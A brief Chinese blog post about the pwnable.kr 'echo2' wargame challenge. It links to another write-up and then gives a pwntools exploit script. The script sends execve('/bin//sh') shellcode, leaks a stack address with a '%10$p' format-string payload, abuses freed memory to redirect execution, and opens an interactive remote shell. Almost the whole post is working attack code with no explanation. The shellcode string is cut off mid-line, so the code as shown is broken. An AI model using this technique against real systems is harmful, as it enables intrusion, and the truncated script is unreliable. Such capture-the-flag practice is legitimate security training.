http://www.chiange.com/test/

直接看这个人写的

特别特别好，一些细节也讲解得很清楚

这里我就不献丑了

```
from pwn import *
#io = process('./echo2')
io=remote('pwnable.kr',9011)
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\
#%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
io.recvuntil("hey, what's your name? : ")
io.sendline(shellcode)

io.recvuntil("> ")
io.sendline(str(2))
io.recv()
payload="%10$p"
io.sendline(payload)
ebp = io.recvline()
print("ebp:"+ebp)
print(int(ebp,16))
ebp = int(ebp,16)

io.recvuntil("> ")
io.sendline(str(4))
io.recvuntil("(y/n)")
io.sendline("n")

io.recvuntil("> ")
io.sendline(str(3))
payload = 'a'*0x18 + p64(ebp-0x20)
print('test:'+p64(ebp-0x20))
io.sendline(payload)

io.interactive()
```